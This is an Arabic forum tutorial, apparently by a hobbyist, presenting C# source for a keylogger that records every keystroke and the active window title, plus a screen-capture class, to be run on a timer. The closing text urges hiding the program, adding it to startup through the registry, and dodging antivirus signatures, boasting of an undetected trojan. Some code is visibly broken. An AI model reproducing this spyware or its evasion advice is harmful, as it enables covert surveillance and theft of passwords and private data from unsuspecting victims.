

بِسْمِ اللَّهِ الرَّحْمَنِ الرَّحِيمِ

اعزائي اعضاء الفريق العربي للبرمجة

هذا شرح اكواد برنامج جاسوس لوحة المفاتيح Key logger

اولا كلاس تسجيل اي ضغطه علي الكيبورد

```
using System;
using System.Collections.Generic;
using System.Linq;
using System.Text;
using System.Runtime.InteropServices;
using System.Windows.Forms;
using System.IO;

namespace SmartKeyLogger
{
    class Key_Logger
    {
        bool tglControl = false;
        bool tglAlt = false;
        bool tglCapslock = false;

        #region API_Key Logger
        [DllImport("User32.dll")]
        private static extern short
        GetAsyncKeyState(System.Windows.Forms.Keys vKey); // Keys
        enumeration
        [DllImport("User32.dll")]
        private static extern short
        GetAsyncKeyState(System.Int32 vKey);
        [DllImport("User32.dll")]
        public static extern int GetWindowText(int hwnd,
        StringBuilder s, int nMaxCount);
        [DllImport("User32.dll")]
        public static extern int GetForegroundWindow();
        #endregion

        public string Name_window()
        {
            int hwnd = GetForegroundWindow();
            StringBuilder Title = new StringBuilder(1024);
            int intlength = GetWindowText(hwnd, Title,
            Title.Capacity);
        }
    }
}
```

```

        if ((intlength <= 0) || (intlength >
Title.Length))
            return "unknown";
        string a = Title.ToString();
        return a;
    }

    public static bool ControlKey
    {
        get { return
Convert.ToBoolean(GetAsyncKeyState(Keys.ControlKey) & 0x8000);
}
    } // ControlKey
    public static bool ShiftKey
    {
        get { return
Convert.ToBoolean(GetAsyncKeyState(Keys.ShiftKey) & 0x8000); }
    } // ShiftKey
    public static bool CapsLock_key
    {
        get { return
Convert.ToBoolean(GetAsyncKeyState(Keys.CapsLock) & 0x8000); }
    } // CapsLock
    public static bool AltKey
    {
        get { return
Convert.ToBoolean(GetAsyncKeyState(Keys.Menu) & 0x8000); }
    } // AltKey

    public string GetKey()
    {
        string key_buffer = "";

//#####
        foreach (int i in Enum.GetValues(typeof(Keys)))
        {
            if (GetAsyncKeyState(i) == -32767)
            {

//***** (controlkey) *****
                if (ControlKey)
                {
                    if (!tglControl)
                    {
                        tglControl = true;
                        key_buffer += "<Ctrl=On>";
                    }
                    else if (tglControl)

```

```

        {
            tglControl = false;
            key_buffer += "<Ctrl=Off>";
        }
    }

//***** (Altkey)*****
    if (AltKey)
    {
        if (!tglAlt)
        {
            tglAlt = true;
            key_buffer += "<Alt=On>";
        }
        else if (tglAlt)
        {
            tglAlt = false;
            key_buffer += "<Alt=Off>";
        }
    }

//***** (CapsLock_key)*****
    if (CapsLock_key)
    {
        if (!tglCapslock)
        {
            tglCapslock = true;
            key_buffer += "<Caps Lock=On>";
        }
        else if (tglCapslock)
        {
            tglCapslock = false;
            key_buffer += "<Caps Lock=Off>";
        }
    }

//*****
    if (Enum.GetName(typeof(Keys), i) == "LButton")
        key_buffer += "<LMouse>";
    else if (Enum.GetName(typeof(Keys), i) == "RButton")
        key_buffer += "<RMouse>";
    else if (Enum.GetName(typeof(Keys), i) == "Back")
        key_buffer += "<Backspace>";
    else if (Enum.GetName(typeof(Keys), i) == "Space")
        key_buffer += " ";
    else if (Enum.GetName(typeof(Keys), i) == "Return")
        key_buffer += "<Enter>";
    else if (Enum.GetName(typeof(Keys), i) == "ControlKey")

```

```

        continue;
    else if (Enum.GetName(typeof(Keys), i) == "LControlKey")
        continue;
    else if (Enum.GetName(typeof(Keys), i) == "RControlKey")
        continue;
    else if (Enum.GetName(typeof(Keys), i) == "LControlKey")
        continue;
    else if (Enum.GetName(typeof(Keys), i) == "ShiftKey")
        continue;
    else if (Enum.GetName(typeof(Keys), i) == "LShiftKey")
        continue;
    else if (Enum.GetName(typeof(Keys), i) == "RShiftKey")
        continue;
    else if (Enum.GetName(typeof(Keys), i) == "Delete")
        key_buffer += "<Del>";
    else if (Enum.GetName(typeof(Keys), i) == "Insert")
        key_buffer += "<Ins>";
    else if (Enum.GetName(typeof(Keys), i) == "Home")
        key_buffer += "<Home>";
    else if (Enum.GetName(typeof(Keys), i) == "End")
        key_buffer += "<End>";
    else if (Enum.GetName(typeof(Keys), i) == "Tab")
        key_buffer += "<Tab>";
    else if (Enum.GetName(typeof(Keys), i) == "Prior")
        key_buffer += "<Page Up>";
    else if (Enum.GetName(typeof(Keys), i) == "PageDown")
        key_buffer += "<Page Down>";
    else if (Enum.GetName(typeof(Keys), i) == "LWin" ||
Enum.GetName(typeof(Keys), i) == "RWin")
        key_buffer += "<Win>";

//*****
    if (ShiftKey)
    {
        if (i >= 65 && i <= 122)
        {
            key_buffer += (char)i;
        }

        else if (i.ToString() == "49")
            key_buffer += "!";
        else if (i.ToString() == "50")
            key_buffer += "@";
        else if (i.ToString() == "51")
            key_buffer += "#";
        else if (i.ToString() == "52")
            key_buffer += "$";
        else if (i.ToString() == "53")
            key_buffer += "%";
    }

```

```

else if (i.ToString() == "54")
    key_buffer += "^";
else if (i.ToString() == "55")
    key_buffer += "&";
else if (i.ToString() == "56")
    key_buffer += "*";
else if (i.ToString() == "57")
    key_buffer += "(";
else if (i.ToString() == "48")
    key_buffer += ")";
else if (i.ToString() == "192")
    key_buffer += "~";
else if (i.ToString() == "189")
    key_buffer += "_";
else if (i.ToString() == "187")
    key_buffer += "+";
else if (i.ToString() == "219")
    key_buffer += "{";
else if (i.ToString() == "221")
    key_buffer += "}";
else if (i.ToString() == "220")
    key_buffer += "|";
else if (i.ToString() == "186")
    key_buffer += ":";
else if (i.ToString() == "222")
    key_buffer += "\"";
else if (i.ToString() == "188")
    key_buffer += "<";
else if (i.ToString() == "190")
    key_buffer += ">";
else if (i.ToString() == "191")
    key_buffer += "?";
}
else
{
    if (i >= 65 && i <= 122)
    {
        key_buffer += (char)(i + 32);
    }
    else if (i.ToString() == "49")
        key_buffer += "1";
    else if (i.ToString() == "50")
        key_buffer += "2";
    else if (i.ToString() == "51")
        key_buffer += "3";
    else if (i.ToString() == "52")
        key_buffer += "4";
    else if (i.ToString() == "53")
        key_buffer += "5";
}

```

```

        else if (i.ToString() == "54")
            key_buffer += "6";
        else if (i.ToString() == "55")
            key_buffer += "7";
        else if (i.ToString() == "56")
            key_buffer += "8";
        else if (i.ToString() == "57")
            key_buffer += "9";
        else if (i.ToString() == "48")
            key_buffer += "0";
        else if (i.ToString() == "189")
            key_buffer += "-";
        else if (i.ToString() == "187")
            key_buffer += "=";
        else if (i.ToString() == "92")
            key_buffer += "`";
        else if (i.ToString() == "219")
            key_buffer += "[";
        else if (i.ToString() == "221")
            key_buffer += "]";
        else if (i.ToString() == "220")
            key_buffer += "\\";
        else if (i.ToString() == "186")
            key_buffer += ";";
        else if (i.ToString() == "222")
            key_buffer += "'";
        else if (i.ToString() == "188")
            key_buffer += ",";
        else if (i.ToString() == "190")
            key_buffer += ".";
        else if (i.ToString() == "191")
            key_buffer += "/";
    }

    } //end if (gedasync);
} //end foreach
return key_buffer;
}
}

```

ثانيا كلاس اخذ صورة للشاشة

```

using System;
using System.Collections.Generic;
using System.Linq;
using System.Text;
using System.IO;
using System.Drawing;
using System.Drawing.Imaging;
using System.Runtime.InteropServices;

namespace SmartKeyLogger
{
    class DesktopWindow
    {
        #region API_
        [DllImport("user32.dll")]
        private static extern IntPtr GetDesktopWindow();
        [DllImport("gdi32.dll")]
        private static extern bool BitBlt(
            IntPtr hdcDest, // handle to destination DC
            int nXDest, // x-coord of destination upper-left
corner
            int nYDest, // y-coord of destination upper-left
corner
            int nWidth, // width of destination rectangle
            int nHeight, // height of destination rectangle
            IntPtr hdcSrc, // handle to source DC
            int nXSrc, // x-coordinate of source upper-left corner
            int nYSrc, // y-coordinate of source upper-left corner
            System.IntPtr dwRop // raster operation code
        );
        private const Int32 SRCCOPY = 0xCC0020;
        [DllImport("user32.dll")]
        private static extern int GetSystemMetrics(int
nIndex);
        private const int SM_CXSCREEN = 0;
        private const int SM_CYSCREEN = 1;

        #endregion

        private Size GetDesktopBitmapSize()
        {
            return new Size(GetSystemMetrics(SM_CXSCREEN),
GetSystemMetrics(SM_CYSCREEN));
        }
        public byte[] GetDesktopBitmapBytes()
        {

```

```

        Size DesktopBitmapSize = GetDesktopBitmapSize();
        Graphics Graphic =
Graphics.FromHwnd(GetDesktopWindow());
        Bitmap MemImage = new
Bitmap(DesktopBitmapSize.Width, DesktopBitmapSize.Height,
Graphic);

        Graphics MemGraphic =
Graphics.FromImage(MemImage);
        IntPtr dc1 = Graphic.GetHdc();
        IntPtr dc2 = MemGraphic.GetHdc();
        BitBlt(dc2, 0, 0, DesktopBitmapSize.Width,
DesktopBitmapSize.Height, dc1, 0, 0, SRCCOPY);
        Graphic.ReleaseHdc(dc1);
        MemGraphic.ReleaseHdc(dc2);
        Graphic.Dispose();
        MemGraphic.Dispose();
        Graphics g =
System.Drawing.Graphics.FromImage(MemImage);
        System.Windows.Forms.Cursor cur =
System.Windows.Forms.Cursors.Arrow;
        cur.Draw(g, new
Rectangle(System.Windows.Forms.Cursor.Position.X - 10,
System.Windows.Forms.Cursor.Position.Y - 10, cur.Size.Width,
cur.Size.Height));
        MemoryStream ms = new Memory Stream();
        MemImage.Save(ms,
System.Drawing.Imaging.ImageFormat.Jpeg);
        return ms.GetBuffer();
    }

}
}

```

الان نعطي مثال علي اخذ صورة للشاشة

اول شي ننشئ كائن من الكلاس DesktopWindow

وننشئ دالة GetDesktopBitmap ونقوم باستدعائها في اي حدث مثلا الضغط علي زر او من خلال تايمر وهذا مثال لتوضيح فكرة اخذ لاقطة من الشاشة وانا متأكد ان معظم الاعضاء يستطيعون استئثار هذه الكلاسات بدون شرح

```
DesktopWindow Bitmap_img = new DesktopWindow();
```

```

void GetDesktopBitmap(string Name)
{
    try
    {
        byte[] img = Bitmap_img.GetDesktopBitmapBytes();
        MemoryStream ms = new MemoryStream(img);
        PictureBox my_img = new PictureBox();
        my_img.Image = Image.FromStream(ms);
        my_img.Image.Save(System.Environment.CurrentDirectory + Name
+ ".jpg");
    }
    catch (Exception ex)
    {
        MessageBox.Show(ex.Message);
    }
}

```

ولتسجيل الحروف ننشئ كائن من الكلاس **Key_Logger**

وتستدعي الدالة **Getkey()**

ويجب استدعاء الدالة في تايمر حتي نسجل كل الضغوط هذا كل شي عن البرنامج ولا يوجد سوي التخفي وجعل البرنامج يعمل مع بدء التشغيل وهذا الجزء هو الذي يجعل البرنامج مكشوف او لا فيجب عمل تجارب علي بعض مفاتيح الريجستر وفي المرة القادمة انشاء الله سوف ارفق المشروع كامل

اود ان اشير الي نقطة مهمة جدا وهي عند وضع كود لبرنامج هاكل وترجمتها الي ملف تنفيذي وعمل له اسكان من جميع برامج الحماية وكانت النتيجة انه غير مكشوف ووضعها علي النت وبمجرد مرور اقل من اسبوع فيكون مكشوف من جميع برامج الحماية فهناك الكثير من برامج الهاكر علي الشبكة بل ويوجد اسطوانات كثيرة ولكنها بدون فائدة لانها مكشوفة وفقدت قيمتها وهي التخفي واود ان اوضح كيف يتم اكتشاف الانتي فيرس وبرامج الانتي هاكل لبرامج الهاكر والفيروسات اولا برامج الهاكر هي مجرد برامج عادية مصممة بلغات برمجة عادية وجميع الاكواد المكونة لبرامج الهاكر هي اكود ممكن تكون في برامج ميديا اوشات او برامج حماية او برامج خدمية اخري اذا كيف يفرق برنامج الحماية بين هذه البرامج وبين برنامج الهاكر؟؟؟

كل برنامج هاكل مصمم لوظيفة معينة مثلا برنامج مثل جوسوس لوحة المفاتيح يكون نشط دائما في انتظار اي ضغطة علي الكيبورد ودائما يكون مسجل في قائمة بدء التشغيل حتي يتم تشغيله بمجرد تشغيل النظام (الكمبيوتر) اذا له سلوك

معروف يقوم مصممي برامج الحماية باخذ توقيع منه يكون فريد لا يشاركه اي برنامج اخر فيه ويضع هذا التوقيع في قاعدة البيانات الخاصة ببرنامج الحماية

وكل ما يتم الكشف عن برامج هاكل او فيروسات جديدة تقوم الشركات المصنعة لبرامج الحماية باخذ توقيعاتها منها ووضعها في برامج الحماية علي شكل تحديث او Updating وهذا اسلوب واحد فقط لاكتشاف برامج الهاكر وهناك الكثير من الطرق فهي بمثابة حرب لا تنتهي بين برامج الهاك وبرامج الحماية

وهنا يجب عليك عزيزي ان تتخفي وتحاول قدر الامكان ان يكون برنامجك ليس به اي شي يميزه عن غيره بمعنى ان تستعمل اكواد منتشرة في البرامج ولا تخف فبرامج الحماية تافهة بمعنى الكلمة وسطحية ساروي لك مثالا حدث معي فقبل دخولي عالم NET. كنت استعمل VB6 وكنت مصمم برنامج هاكل للشبكة الداخلية كان اسمه Devil Hacking Ver1 وكنت حريص قدر الامكان ان لا يكون به جزء مكشوف فكنت كل ما اضع كود اودالة اقوم بترجمة المشروع وعمل اسكان علي وقبل النهاية من انتهاء المشروع فوجئت بان برنامج كاسبر كشف انه تروجن وبرنامج افسد كشفه انه يوجد برنامج غير مشروع وحاولت فهم ما يحدث والرجوع للخلف الي ان هداني الله وكان الجزء المكشوف لا يصدق وهي كلمة Edit Server وهي كلمة كانت موضوعة في خاصية Text لفورم من المشروع وعند تغير هذه الكلمة تم ازالة المشكلة ولم يعد مكشوف

وبعد ما دخلت عالم NET. وقمت بتصميم نفس البرنامج مرة ثانية باستخدام C# وقمت بتسمية الفورم الخاص باعدادات السيرفر بالاسم الذي كان مكشوف معي وجد ان البرنامج غير مكشوف وهذا يعني ان الفرصة عظيمة لانتاج برامج الهاكر والفيروسات تحت اطار عالم NET.

Mohamed Samir

Maintenance All Electronic Circuits

Design And Develop Electronic Cards & PC Programs

Phone : 0107028824 E-mail : smart_electronic12@yahoo.com